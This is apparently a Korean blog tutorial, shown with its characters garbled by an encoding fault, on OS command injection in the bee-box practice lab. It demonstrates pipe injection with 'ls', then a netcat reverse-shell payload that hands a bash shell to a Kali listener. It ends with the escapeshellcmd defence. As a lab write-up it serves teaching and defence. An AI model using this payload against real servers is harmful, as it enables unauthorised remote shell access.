[Bee-box] κΈ°ν μΈμ μ 곡격- OS 컀맨λ μΈμ μ
iframe μΈμ μ μ€μ΅μ μ΄μ΄μ,
μ€λμ μΈμ μ κΈ°λ² μ€ OS 컀맨λ μΈμ μ μ μ€μ΅ν΄λ³Όκ²μ.
μ€μ΅νλ λͺ¨λ 곡격μ μ€μ λ‘ μ¬μ©νμλ©΄ μλ©λλ€.
νμ©λ°μ§ μμ μλΉμ€ λμμ ν΄νΉμ μλνλ νλμ κΈμ§νλ©°,
λͺ¨λ λ²μ μ± μμ μ¬μ©μμκ² μλ κ²μ λͺ μ¬ν΄μ£ΌμΈμ
λ¨Όμ μ€μ΅νκΈ° μ μ κ°λ¨νκ² OS Command Injectionμ 곡격 νλ¦λλ₯Ό μμλ³΄κ³ μμνλλ‘ ν κ»μ.
컀맨λ μΈμ μ μ΄λ μ·¨μ½ν λ³μλ‘ μμ€ν λͺ λ Ήμ΄λ₯Ό μ£Όμ νμ¬ μλ² μ΄μ체μ μ μ κ·Όνλ 곡격μ λλ€.
λ³΄ν΅ μΉ νμ΄μ§μμ μλ²μ μμ€ν μ Έμ νΈμΆν λ, κ΄λ¦¬μκ° μλν λͺ λ Ήμ΄κ° μλ
λ€λ₯Έ λͺ λ Ήμ΄λ₯Ό μ£Όμ νμ¬ μλ² μ 보λ₯Ό μμλ΄λ 곡격μ λλ€.
'commandi.php'λ μ λ ₯ν μ£Όμμ DNS μ£Όμλ₯Ό μΆλ ₯ν©λλ€. μ΄λ DNSλ₯Ό μ‘°ννλ λͺ λ Ήμ΄μΈ nslookupμ μ¬μ©νμ£ !
μ κ·ΈλΌ Command Injectionμ μμν΄λ³Όκ»μ!
λμ΄λ ν
λ¨Όμ lowλ¨κ³λ‘ λ€μ΄κ°μ€λλ€.
λ€μ΄κ°λ³΄λ©΄
μ΄λ°νλ©΄μ΄ λ¨μ£ .
λ€μκ³Ό κ°μ΄ ν μ€νΈ νλμ νμ΄ν λΌμΈκ³Ό ν¨κ» μνλ λͺ λ Ήμ΄λ₯Ό μ λ ₯ ν μ μλλ°μ.
μ¬κΈ°μλ λλ ν°λ¦¬μ λͺ©λ‘μ νμνλ λͺ λ Ήμ΄ ' ls 'λ₯Ό μ¬μ©ν΄μ€λλ€.
νμ΄νλΌμΈ ' | ' μ λ μ΄μμ λͺ λ Ήμ΄λ₯Ό μ€νν λ μ¬μ©νλ©°, μμ λͺ λ Ήμ μ€ν ν νμ΄νλΌμΈ λ€ λͺ λ Ήμ΄λ₯Ό μ€νμν¨λ€.
μ΄λ κ² νμ΄νλΌμΈμ μ¬μ©νμ¬ OS 컀맨λ μΈμ μ μ κ²°κ³Όλ‘ μλ² μμ€ν μ κ°μ₯ μμμ μλ
λλ ν°λ¦¬ μ 보λ₯Ό μΆλ ₯ ν μ μμ΅λλ€.
μ΄λ κ² bin dev etcλ± μμ λλ ν°λ¦¬λ€μ΄ μΆλ ₯λμλ€μ.
OS 컀맨λ μΈμ μ μ λ·μΊ£(Netcat) λͺ λ Ήμ΄λ₯Ό μ λ ₯νλ©΄ λΉλ°μ€μ μλ² μ 보λ₯Ό μΈλΆμμ νμ ν μκ° μλλ°μ.
칼리 리λ μ€λ₯Ό μ€ννμ¬ λ¦¬μ€λ λͺ¨λλ‘ λ·μΊ£μ μ€νν΄λ³΄λλ‘ νκ² μ΅λλ€.
μ€μ΅μ μμ, μ΄ κ³΅κ²©μ μ΄ν΄κ° λ€μ μ΄λ €μ΄ λΆλΆμ΄ μμ μ μμ κ² κ°μ
μ΄ν΄λ₯Ό λκΈ°μν΄ κ·Έλ¦ΌμΌλ‘ κ·Έλ €λ³΄μμ΅λλ€. μ΄ν΄νμλλ° μ°Έκ³ νμλ©΄ μ’μ κ² κ°μμ.
μ΄μ΄μ μ€μ΅μ μμνκ² μ΅λλ€.
λ¨Όμ 칼리리λ μ€λ₯Ό μ€ννμ¬ λͺ λ Ήμ΄λ₯Ό μ λ ₯ν΄ μ€λλ€. (sudo su λ‘ μ κ·Όν΄μ£ΌμΈμ.)
-l μ 리μ€λ λͺ¨λ, -p λ ν¬νΈλ²νΈλ₯Ό μ§μ νλ μ΅μ μ λλ€.
μ λ ₯ ν λ€μ bee-boxλ‘ λμκ°μ commandi.php νμ΄μ§ μ λ ₯λμ λ·μΊ£μ μ€ννλ λͺ λ Ήμ΄λ₯Ό μ λ ₯ν΄μ€λλ€.
| nc 192.168.150.129 7777-e "/bin/bash"
λ·μΊ£κ³Ό μ°κ²°νκΈ° μνμ¬ μΉΌλ¦¬ 리λ μ€μ IPμ£Όμμ ν¬νΈ λ²νΈλ₯Ό μΈμ κ°μΌλ‘ μ λ ₯ν΄μΌ ν©λλ€.
칼리 리λ μ€μμ λΉλ°μ€ μλ²μ μ 보λ₯Ό μκΈ° μνμ¬ λͺ λ Ήμ΄λ₯Ό μ€νν΄μΌ νλ―λ‘ -eμ΅μ μΌλ‘ bashμ Έμ μ€νν΄μ€λλ€.
(보μμ -e μ΅μ μ μ¬μ©νλ©΄ 곡격μκ° νμ©ν μ μμΌλ―λ‘ μ€λ¬΄μμλ telnetλͺ λ Ήμ΄λ‘ μ΄λ₯Ό μ°νν©λλ€.)
νμ¬νΌ! λͺ λ Ήμ΄λ₯Ό μ λ ₯ ν Lookupμ ν΄λ¦νκ³ , 칼리 리λ μ€λ‘ λμμμ λ·μΊ£μ μ€νν ν°λ―Έλμ
λͺ λ Ήμ΄λ₯Ό μ λ ₯νλ©΄ μλ² μ 보λ₯Ό νμΈν μ μμ΅λλ€.
lsμ κ°μ λͺ λ Ήμ΄λ₯Ό μ λ ₯ν΄λ³΄μλλ μ λλ‘ μ λ³΄κ° νμΈλλ€μ.
--> μμ€ν μΉ¨ν¬ μ±κ³΅
λμλ°©μ
λμ΄λ μμμλ νμ΄νλΌμΈμ μ¬μ©νμ¬λ μΈμ μ κ²°κ³Όκ° λμ€μ§ μμ΅λλ€.
commandi.php νμ΄μ§μ μμ€ μ½λλ₯Ό νμΈν΄λ³΄λ©΄
μ΄λ κ² commandi_check_2λΌλ ν¨μλ‘ μ°νλ₯Ό νκ³ μμ΅λλ€.
functions_external.php μ μ μλμ΄μλ ν¨μ commandi_check_2 μ νμΈν΄λ³΄μλλ
escapeshellcmd ν¨μλ‘ μ°ννκ³ μλ€μ.
escapeshellcmd ==> μμ€ν μ Έλ‘ μ€νν μ μλ νΉμ λ¬Έμμ λ°±μ¬λμλ₯Ό λΆμ¬
λͺ λ Ήμ μ€νν μ μλλ‘ λ°©μ΄ν΄μ€λλ€.
μ¬μ©ν μ μλ μ°ν λ¬Έμλ ' #, &, ;, ', |, *, ?, ~, <, >, ^, (, ), [, ], {, }, $, \, \x0A, \xFF, ., ', " ' κ° μμ΅λλ€.